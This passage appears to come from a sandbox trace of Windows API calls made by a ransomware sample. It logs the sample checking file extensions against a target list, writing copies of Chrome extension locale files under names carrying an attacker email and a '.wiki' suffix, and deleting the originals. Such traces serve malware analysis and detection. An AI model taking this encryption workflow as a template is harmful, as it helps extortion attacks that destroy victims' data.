(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.349] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json")) returned 1 [0172.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.349] lstrlenW (lpString=".doc") returned 4 [0172.349] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.349] lstrlenW (lpString=".docx") returned 5 [0172.349] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.349] lstrlenW (lpString=".pdf") returned 4 [0172.349] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.349] lstrlenW (lpString=".xls") returned 4 [0172.349] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.349] lstrlenW (lpString=".xlsx") returned 5 [0172.349] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.349] lstrlenW (lpString=".ppt") returned 4 [0172.349] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.349] lstrlenW (lpString=".zip") returned 4 [0172.349] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.349] lstrlenW (lpString=".rar") returned 4 [0172.349] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.350] lstrlenW (lpString=".bz2") returned 4 [0172.350] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.350] lstrlenW (lpString=".7z") returned 3 [0172.350] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.350] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.350] lstrlenW (lpString=".dbf") returned 4 [0172.350] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.350] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.350] lstrlenW (lpString=".1cd") returned 4 [0172.350] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.350] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.350] lstrlenW (lpString=".jpg") returned 4 [0172.350] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.350] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.350] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.350] lstrlenW (lpString=".doc") returned 4 [0172.350] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.350] lstrlenW (lpString=".docx") returned 5 [0172.350] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.350] lstrlenW (lpString=".pdf") returned 4 [0172.350] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.350] lstrlenW (lpString=".xls") returned 4 [0172.350] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.350] lstrlenW (lpString=".xlsx") returned 5 [0172.350] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.350] lstrlenW (lpString=".ppt") returned 4 [0172.350] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.350] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.350] lstrlenW (lpString=".zip") returned 4 [0172.351] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.351] lstrlenW (lpString=".rar") returned 4 [0172.351] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.351] lstrlenW (lpString=".bz2") returned 4 [0172.351] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.351] lstrlenW (lpString=".7z") returned 3 [0172.351] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.351] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.351] lstrlenW (lpString=".dbf") returned 4 [0172.351] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.351] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.351] lstrlenW (lpString=".1cd") returned 4 [0172.351] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.351] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0172.351] lstrlenW (lpString=".jpg") returned 4 [0172.351] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.351] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.351] lstrlenW (lpString="messages.json") returned 13 [0172.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.352] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=222) returned 1 [0172.352] CloseHandle (hObject=0x1a0) returned 1 [0172.352] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0172.352] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.352] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.352] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.352] GetLastError () returned 0x0 [0172.352] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xde, lpOverlapped=0x0) returned 1 [0172.419] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.420] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.420] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.420] SetEndOfFile (hFile=0x19c) returned 1 [0172.421] CloseHandle (hObject=0x19c) returned 1 [0172.421] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.421] SetEndOfFile (hFile=0x1a0) returned 1 [0172.422] CloseHandle (hObject=0x1a0) returned 1 [0172.422] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.422] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json")) returned 1 [0172.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.422] lstrlenW (lpString=".doc") returned 4 [0172.422] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.422] lstrlenW (lpString=".docx") returned 5 [0172.422] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.422] lstrlenW (lpString=".pdf") returned 4 [0172.422] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.422] lstrlenW (lpString=".xls") returned 4 [0172.422] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.422] lstrlenW (lpString=".xlsx") returned 5 [0172.422] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.422] lstrlenW (lpString=".ppt") returned 4 [0172.422] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.423] lstrlenW (lpString=".zip") returned 4 [0172.423] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.423] lstrlenW (lpString=".rar") returned 4 [0172.423] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.423] lstrlenW (lpString=".bz2") returned 4 [0172.423] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.423] lstrlenW (lpString=".7z") returned 3 [0172.423] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.423] lstrlenW (lpString=".dbf") returned 4 [0172.423] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.423] lstrlenW (lpString=".1cd") returned 4 [0172.423] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.423] lstrlenW (lpString=".jpg") returned 4 [0172.423] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.423] lstrlenW (lpString=".doc") returned 4 [0172.423] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.423] lstrlenW (lpString=".docx") returned 5 [0172.423] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.423] lstrlenW (lpString=".pdf") returned 4 [0172.423] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.423] lstrlenW (lpString=".xls") returned 4 [0172.423] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.423] lstrlenW (lpString=".xlsx") returned 5 [0172.423] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.423] lstrlenW (lpString=".ppt") returned 4 [0172.424] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.424] lstrlenW (lpString=".zip") returned 4 [0172.424] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.424] lstrlenW (lpString=".rar") returned 4 [0172.424] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.424] lstrlenW (lpString=".bz2") returned 4 [0172.424] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.424] lstrlenW (lpString=".7z") returned 3 [0172.424] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.424] lstrlenW (lpString=".dbf") returned 4 [0172.424] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.424] lstrlenW (lpString=".1cd") returned 4 [0172.424] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 154 [0172.424] lstrlenW (lpString=".jpg") returned 4 [0172.424] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.424] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.424] lstrlenW (lpString="messages.json") returned 13 [0172.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.425] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=223) returned 1 [0172.425] CloseHandle (hObject=0x1a0) returned 1 [0172.425] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json")) returned 0x2020 [0172.425] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.425] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.425] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.426] GetLastError () returned 0x0 [0172.426] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xdf, lpOverlapped=0x0) returned 1 [0172.427] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.428] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.428] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.428] SetEndOfFile (hFile=0x19c) returned 1 [0172.428] CloseHandle (hObject=0x19c) returned 1 [0172.428] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.428] SetEndOfFile (hFile=0x1a0) returned 1 [0172.429] CloseHandle (hObject=0x1a0) returned 1 [0172.429] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.429] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json")) returned 1 [0172.429] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.430] lstrlenW (lpString=".doc") returned 4 [0172.430] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.430] lstrlenW (lpString=".docx") returned 5 [0172.430] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.430] lstrlenW (lpString=".pdf") returned 4 [0172.430] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.430] lstrlenW (lpString=".xls") returned 4 [0172.430] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.430] lstrlenW (lpString=".xlsx") returned 5 [0172.430] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.430] lstrlenW (lpString=".ppt") returned 4 [0172.430] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.430] lstrlenW (lpString=".zip") returned 4 [0172.430] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.430] lstrlenW (lpString=".rar") returned 4 [0172.430] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.430] lstrlenW (lpString=".bz2") returned 4 [0172.430] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.430] lstrlenW (lpString=".7z") returned 3 [0172.430] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.430] lstrlenW (lpString=".dbf") returned 4 [0172.430] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.430] lstrlenW (lpString=".1cd") returned 4 [0172.430] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.431] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.431] lstrlenW (lpString=".jpg") returned 4 [0172.431] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.431] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.431] lstrlenW 